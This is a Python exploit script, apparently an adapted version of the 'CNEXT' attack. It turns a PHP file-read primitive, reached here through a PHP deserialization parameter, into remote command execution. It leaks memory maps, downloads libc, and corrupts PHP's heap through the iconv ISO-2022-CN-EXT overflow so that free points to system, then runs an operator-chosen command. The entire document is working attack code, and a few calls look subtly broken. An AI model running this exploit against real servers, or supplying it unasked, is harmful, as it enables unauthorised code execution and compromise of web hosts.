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from __future__ import annotations
import base64 import zlib from dataclasses import dataclass
from pwn import * from requests.exceptions import ChunkedEncodingError, ConnectionError from ten import *
HEAP_SIZE = 2 * 1024 * 1024 BUG = "劄".encode("utf-8")
class Remote: """A helper class to send the payload and download files.
The logic of the exploit is always the same, but the exploit needs to know how to download files (/proc/self/maps and libc) and how to send the payload.
The code here serves as an example that attacks a page that looks like:
Tweak it to fit your target, and start the exploit. """
def __init__(self, url: str) -> None: self.url = url self.session = Session() def send(self, path: str) -> Response: """Sends given `path` to the HTTP server. Returns the response. """ p = f"php://filter/convert.base64-encode/resource={path}" a = len(p) serialized_path = f'O:4:"cls1":2:{{s:3:"cls";O:4:"cls2":2:{{s:8:"filename";s:{a}:"{p}";s:3:"txt";s:0:"";}}s:3:"arr";a:1:{{i:0;s:7:"fileput";}}}};' encoded_serialized_path = base64.encode(serialized_path.encode('utf-8'))
url =self.url params={ "ser":encoded_serialized_path } print(params) response = self.session.get(url, params=params) print(response.text) return response
def download(self, path: str) -> bytes: """Returns the contents of a remote file. """ response = self.send(path) print(response) data = re.search(r'Your file:(.*)', response.text, flags=re.S).group(1) return base64.decode(data)
@entry @arg("url", "Target URL") @arg("command", "Command to run on the system; limited to 0x140 bytes") @arg("sleep_time", "Time to sleep to assert that the exploit worked. By default, 1.") @arg("heap", "Address of the main zend_mm_heap structure.") @arg( "pad", "Number of 0x100 chunks to pad with. If the website makes a lot of heap " "operations with this size, increase this. Defaults to 20.", ) @dataclass class Exploit: """CNEXT exploit: RCE using a file read primitive in PHP."""
url: str command: str sleep: int = 1 heap: str = None pad: int = 20
def __post_init__(self): self.remote = Remote(self.url) self.log = logger("EXPLOIT") self.info = {} self.heap = self.heap and int(self.heap, 16)
def check_vulnerable(self) -> None: """Checks whether the target is reachable and properly allows for the various wrappers and filters that the exploit needs. """
def safe_download(path: str) -> bytes: try: rep=self.remote.download(path) return rep except ConnectionError: failure("Target not [b]reachable[/] ?")
def check_token(text: str, path: str) -> bool: result = safe_download(path) return text.encode() == result
text = tf.random.string(50).encode() base64 = b64(text, misalign=True).decode() path = f"data:text/plain;base64,{base64}"
result = safe_download(path) if text not in result: msg_failure("Remote.download did not return the test string") print("--------------------") print(f"Expected test string: {text}") print(f"Got: {result}") print("--------------------") failure("If your code works fine, it means that the [i]data://[/] wrapper does not work")
msg_info("The [i]data://[/] wrapper works")
text = tf.random.string(50) base64 = b64(text.encode(), misalign=True).decode() path = f"php://filter//resource=data:text/plain;base64,{base64}" if not check_token(text, path): failure("The [i]php://filter/[/] wrapper does not work")
msg_info("The [i]php://filter/[/] wrapper works")
text = tf.random.string(50) base64 = b64(compress(text.encode()), misalign=True).decode() path = f"php://filter/zlib.inflate/resource=data:text/plain;base64,{base64}"
if not check_token(text, path): failure("The [i]zlib[/] extension is not enabled")
msg_info("The [i]zlib[/] extension is enabled")
msg_success("Exploit preconditions are satisfied")
def get_file(self, path: str) -> bytes: with msg_status(f"Downloading [i]{path}[/]..."): return self.remote.download(path)
def get_regions(self) -> list[Region]: """Obtains the memory regions of the PHP process by querying /proc/self/maps.""" maps = self.get_file("/proc/self/maps") maps = maps.decode() PATTERN = re.compile( r"^([a-f0-9]+)-([a-f0-9]+)\b" r".*" r"\s([-rwx]{3}[ps])\s" r"(.*)" ) regions = [] for region in table.split(maps, strip=True): if match := PATTERN.match(region): start = int(match.group(1), 16) stop = int(match.group(2), 16) permissions = match.group(3) path = match.group(4) if "/" in path or "[" in path: path = path.rsplit(" ", 1)[-1] else: path = "" current = Region(start, stop, permissions, path) regions.append(current) else: print(maps) failure("Unable to parse memory mappings")
self.log.info(f"Got {len(regions)} memory regions")
return regions
def get_symbols_and_addresses(self) -> None: """Obtains useful symbols and addresses from the file read primitive.""" regions = self.get_regions()
LIBC_FILE = "/dev/shm/cnext-libc"
self.info["heap"] = self.heap or self.find_main_heap(regions)
libc = self._get_region(regions, "libc-", "libc.so")
self.download_file(libc.path, LIBC_FILE)
self.info["libc"] = ELF(LIBC_FILE, checksec=False) self.info["libc"].address = libc.start
def _get_region(self, regions: list[Region], *names: str) -> Region: """Returns the first region whose name matches one of the given names.""" for region in regions: if any(name in region.path for name in names): break else: failure("Unable to locate region")
return region
def download_file(self, remote_path: str, local_path: str) -> None: """Downloads `remote_path` to `local_path`""" data = self.get_file(remote_path) Path(local_path).write(data)
def find_main_heap(self, regions: list[Region]) -> Region: heaps = [ region.stop - HEAP_SIZE + 0x40 for region in reversed(regions) if region.permissions == "rw-p" and region.size >= HEAP_SIZE and region.stop & (HEAP_SIZE - 1) == 0 and region.path == "" ]
if not heaps: failure("Unable to find PHP's main heap in memory")
first = heaps[0]
if len(heaps) > 1: heaps = ", ".join(map(hex, heaps)) msg_info(f"Potential heaps: [i]{heaps}[/] (using first)") else: msg_info(f"Using [i]{hex(first)}[/] as heap")
return first
def run(self) -> None: self.check_vulnerable() self.get_symbols_and_addresses() self.exploit()
def build_exploit_path(self) -> str:
LIBC = self.info["libc"] ADDR_EMALLOC = LIBC.symbols["__libc_malloc"] ADDR_EFREE = LIBC.symbols["__libc_system"] ADDR_EREALLOC = LIBC.symbols["__libc_realloc"]
ADDR_HEAP = self.info["heap"] ADDR_FREE_SLOT = ADDR_HEAP + 0x20 ADDR_CUSTOM_HEAP = ADDR_HEAP + 0x0168
ADDR_FAKE_BIN = ADDR_FREE_SLOT - 0x10
CS = 0x100
pad_size = CS - 0x18 pad = b"\x00" * pad_size pad = chunked_chunk(pad, len(pad) + 6) pad = chunked_chunk(pad, len(pad) + 6) pad = chunked_chunk(pad, len(pad) + 6) pad = compressed_bucket(pad)
step1_size = 1 step1 = b"\x00" * step1_size step1 = chunked_chunk(step1) step1 = chunked_chunk(step1) step1 = chunked_chunk(step1, CS) step1 = compressed_bucket(step1)
step2_size = 0x48 step2 = b"\x00" * (step2_size + 8) step2 = chunked_chunk(step2, CS) step2 = chunked_chunk(step2) step2 = compressed_bucket(step2)
step2_write_ptr = b"0\n".ljust(step2_size, b"\x00") + p64(ADDR_FAKE_BIN) step2_write_ptr = chunked_chunk(step2_write_ptr, CS) step2_write_ptr = chunked_chunk(step2_write_ptr) step2_write_ptr = compressed_bucket(step2_write_ptr)
step3_size = CS
step3 = b"\x00" * step3_size assert len(step3) == CS step3 = chunked_chunk(step3) step3 = chunked_chunk(step3) step3 = chunked_chunk(step3) step3 = compressed_bucket(step3)
step3_overflow = b"\x00" * (step3_size - len(BUG)) + BUG assert len(step3_overflow) == CS step3_overflow = chunked_chunk(step3_overflow) step3_overflow = chunked_chunk(step3_overflow) step3_overflow = chunked_chunk(step3_overflow) step3_overflow = compressed_bucket(step3_overflow)
step4_size = CS step4 = b"=00" + b"\x00" * (step4_size - 1) step4 = chunked_chunk(step4) step4 = chunked_chunk(step4) step4 = chunked_chunk(step4) step4 = compressed_bucket(step4)
step4_pwn = ptr_bucket( 0x200000, 0, 0, 0, ADDR_CUSTOM_HEAP, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, ADDR_HEAP, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, size=CS, )
step4_custom_heap = ptr_bucket( ADDR_EMALLOC, ADDR_EFREE, ADDR_EREALLOC, size=0x18 )
step4_use_custom_heap_size = 0x140
COMMAND = self.command COMMAND = f"kill -9 $PPID; {COMMAND}" if self.sleep: COMMAND = f"sleep {self.sleep}; {COMMAND}" COMMAND = COMMAND.encode() + b"\x00"
assert ( len(COMMAND) <= step4_use_custom_heap_size ), f"Command too big ({len(COMMAND)}), it must be strictly inferior to {hex(step4_use_custom_heap_size)}" COMMAND = COMMAND.ljust(step4_use_custom_heap_size, b"\x00")
step4_use_custom_heap = COMMAND step4_use_custom_heap = qpe(step4_use_custom_heap) step4_use_custom_heap = chunked_chunk(step4_use_custom_heap) step4_use_custom_heap = chunked_chunk(step4_use_custom_heap) step4_use_custom_heap = chunked_chunk(step4_use_custom_heap) step4_use_custom_heap = compressed_bucket(step4_use_custom_heap)
pages = ( step4 * 3 + step4_pwn + step4_custom_heap + step4_use_custom_heap + step3_overflow + pad * self.pad + step1 * 3 + step2_write_ptr + step2 * 2 )
resource = compress(compress(pages)) resource = b64(resource) resource = f"data:text/plain;base64,{resource.decode()}"
filters = [ "zlib.inflate", "zlib.inflate",
"dechunk", "convert.iconv.latin1.latin1",
"dechunk", "convert.iconv.latin1.latin1",
"dechunk", "convert.iconv.latin1.latin1",
"dechunk", "convert.iconv.UTF-8.ISO-2022-CN-EXT",
"convert.quoted-printable-decode", "convert.iconv.latin1.latin1", ] filters = "|".join(filters) path = f"php://filter/read={filters}/resource={resource}"
return path
@inform("Triggering...") def exploit(self) -> None: path = self.build_exploit_path() start = time.time()
try: self.remote.send(path) except (ConnectionError, ChunkedEncodingError): pass
msg_print()
if not self.sleep: msg_print(" [b white on black] EXPLOIT [/][b white on green] SUCCESS [/] [i](probably)[/]") elif start + self.sleep <= time.time(): msg_print(" [b white on black] EXPLOIT [/][b white on green] SUCCESS [/]") else: msg_print(" [b white on black] EXPLOIT [/][b white on red] FAILURE [/]")
msg_print()
def compress(data) -> bytes: """Returns data suitable for `zlib.inflate`. """ return zlib.compress(data, 9)[2:-4]
def b64(data: bytes, misalign=True) -> bytes: payload = base64.encode(data) if not misalign and payload.endswith("="): raise ValueError(f"Misaligned: {data}") return payload.encode()
def compressed_bucket(data: bytes) -> bytes: """Returns a chunk of size 0x8000 that, when dechunked, returns the data.""" return chunked_chunk(data, 0x8000)
def qpe(data: bytes) -> bytes: """Emulates quoted-printable-encode. """ return "".join(f"={x:02x}" for x in data).upper().encode()
def ptr_bucket(*ptrs, size=None) -> bytes: """Creates a 0x8000 chunk that reveals pointers after every step has been ran.""" if size is not None: assert len(ptrs) * 8 == size bucket = b"".join(map(p64, ptrs)) bucket = qpe(bucket) bucket = chunked_chunk(bucket) bucket = chunked_chunk(bucket) bucket = chunked_chunk(bucket) bucket = compressed_bucket(bucket)
return bucket
def chunked_chunk(data: bytes, size: int = None) -> bytes: """Constructs a chunked representation of the given chunk. If size is given, the chunked representation has size `size`. For instance, `ABCD` with size 10 becomes: `0004\nABCD\n`. """ if size is None: size = len(data) + 8 keep = len(data) + len(b"\n\n") size = f"{len(data):x}".rjust(size - keep, "0") return size.encode() + b"\n" + data + b"\n"
@dataclass class Region: """A memory region."""
start: int stop: int permissions: str path: str
@property def size(self) -> int: return self.stop - self.start
Exploit()
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